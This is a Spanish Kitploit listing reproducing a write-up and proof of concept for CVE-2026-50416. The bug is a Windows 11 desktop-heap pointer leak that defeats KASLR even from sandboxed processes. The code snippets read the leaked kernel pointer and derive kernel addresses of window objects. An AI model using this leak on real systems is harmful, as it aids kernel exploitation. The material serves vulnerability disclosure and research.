Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: Bypass de KASLR en Windows 11 | Kitploit
Herramientas/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Frameworks de ExploitsForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónCTFAnálisis de BinariosPapers e InvestigaciónAprendizaje y Educación
Labs y Práctica
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: Bypass de KASLR en Windows 11

Ver RepositorioSitio web
44514hace 1 mesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-50416: Un QWORD de más en el montón del escritorio

En la compilación Insider de Windows 11 10.0.28020.2149, la asignación en modo usuario del montón del escritorio de Win32k exponía un puntero sin procesar del grupo del kernel de sesión en el desplazamiento 0x100.

La lectura en sí es casi ofensivamente pequeña:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

En mi sesión de prueba, eso devolvió:

0xffffc600dcc00040

El valor permaneció igual entre procesos en el mismo escritorio y cambió después de un reinicio. Un proceso lanzado en otro escritorio recibió un valor diferente porque tenía un montón de escritorio diferente. A partir de este único QWORD, el PoC recuperó la base del montón del escritorio del kernel y luego usó user32!gSharedInfo para derivar las direcciones del kernel de objetos de ventana activos.

La misma lectura funcionó desde integridad Low, AppContainer, una configuración LPAC con cero capacidades y un hijo AppContainer de integridad Low con cero capacidades.

Se supone que el montón del escritorio es compartido. El puntero del kernel no lo es.

El montón del escritorio desde modo usuario

Win32k almacena objetos USER como ventanas, menús, clases, hooks y metadatos relacionados en montones de escritorio. Cada escritorio tiene su propio montón. Parte de ese montón se asigna en los procesos asociados con el escritorio para que el modo usuario pueda leer el estado compartido de la GUI sin preguntar al kernel por cada campo.

En la compilación x64 probada, la asignación en modo usuario se puede alcanzar a través de los datos de cliente del TEB del hilo actual:

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

Los desplazamientos son específicos de la compilación, pero la ruta es simple:

GS:[0x30]
    -> TEB
    -> ClientInfo en TEB + 0x800
    -> ClientInfo[5]
    -> asignación del montón del escritorio en modo usuario

El PoC llama a VirtualQuery en la dirección devuelta y registra la región asignada y su protección. Nada ha salido mal todavía. Una asignación de solo lectura del montón del escritorio es un comportamiento normal de Win32k.

El problema comienza 256 bytes dentro.

El puntero en el desplazamiento 0x100

El PoC principal lee un QWORD del montón asignado:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

El valor pasó las comprobaciones básicas esperadas de una dirección virtual del kernel en el sistema probado:

  • Bits altos canónicos
  • Alineación de ocho bytes
  • No es uno de los valores centinela conocidos filtrados por el PoC
  • Estable mientras se creaban y destruían ventanas
  • Idéntico en los procesos probados en el mismo escritorio
  • Diferente después de un reinicio
  • Diferente en otro escritorio

La prueba de estabilidad crea ventanas STATIC, BUTTON y EDIT, lee el valor antes de la creación, lo lee de nuevo mientras existen las ventanas, las destruye y lo lee una tercera vez.

ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

Las tres lecturas devolvieron el mismo valor. La actividad de asignación de ventanas no lo movió. Ese comportamiento es consistente con un campo en los metadatos del montón del escritorio en lugar de un puntero a un objeto de corta duración.

La propiedad entre procesos es igualmente importante. Dos procesos adjuntos al mismo escritorio observan el mismo valor filtrado porque están mirando el mismo montón del escritorio. Después de un reinicio, KASLR le da a la sesión una nueva dirección. Un hijo colocado en otro escritorio observa otro puntero porque ese escritorio posee otro montón.

Eso le da a la fuga una identidad útil:

mismo arranque + mismo escritorio      -> mismo puntero
mismo arranque + escritorio diferente -> puntero diferente
nuevo arranque                         -> puntero diferente

Recuperando la base del montón del escritorio del kernel

En la compilación probada, el puntero filtrado se encuentra 0x40 bytes por encima de la base del montón del escritorio del kernel utilizada por el PoC:

ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Usando el valor de sesión registrado:

puntero filtrado            = 0xffffc600dcc00040
base del montón del escritorio del kernel = 0xffffc600dcc00000

Esta relación es específica de la compilación. Para la compilación utilizada durante las pruebas, proporciona el ancla del lado del kernel necesaria para el siguiente paso.

Un puntero ya es útil. Una dirección para un objeto elegido es mucho más útil.

Resolviendo un objeto de ventana a través de gSharedInfo

user32.dll exporta gSharedInfo, que expone la lista de entradas de handles USER y el tamaño de cada entrada:

typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

Un HWND contiene un índice en la tabla de handles USER. El PoC toma los 16 bits bajos del handle, camina hasta la entrada correspondiente y lee el desplazamiento del montón del escritorio almacenado allí.

ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

El mismo desplazamiento nombra el objeto en ambas asignaciones:

BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

Entonces el cálculo completo es:

base del montón del escritorio del kernel = desktop_heap[0x100] - 0x40
índice del handle              = HWND & 0xffff
desplazamiento del montón      = aheList[índice del handle].offset
dirección de la ventana del kernel = base del montón del escritorio del kernel + desplazamiento del montón

El PoC crea seis clases de ventana y realiza el cálculo para cada una:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

Para cada objeto, imprime el HWND, el índice del handle, la dirección del objeto en modo usuario, el desplazamiento del montón y la dirección del kernel.

HWND
  -> índice de handle de 16 bits bajos
  -> entrada de handle de gSharedInfo
  -> desplazamiento del montón del escritorio
  -> base del montón del escritorio del kernel + desplazamiento
  -> dirección del kernel de ese objeto de ventana

Esta es la parte que convierte la divulgación de un puntero suelto del kernel en un oráculo de direcciones para objetos USER seleccionados en el montón del escritorio probado.

Por qué importan las pruebas de sandbox

El montón del escritorio llega a través de una asignación compartida. Los niveles de integridad y las restricciones de AppContainer no reescriben el contenido de esa asignación para cada proceso. Si el proceso recibe el montón del escritorio, recibe el QWORD en 0x100 junto con él.

El PoC de sandbox lanza hijos en varios contextos y hace que cada hijo lea el valor desde su propio TEB y su propia asignación del montón del escritorio.

Descargar herramienta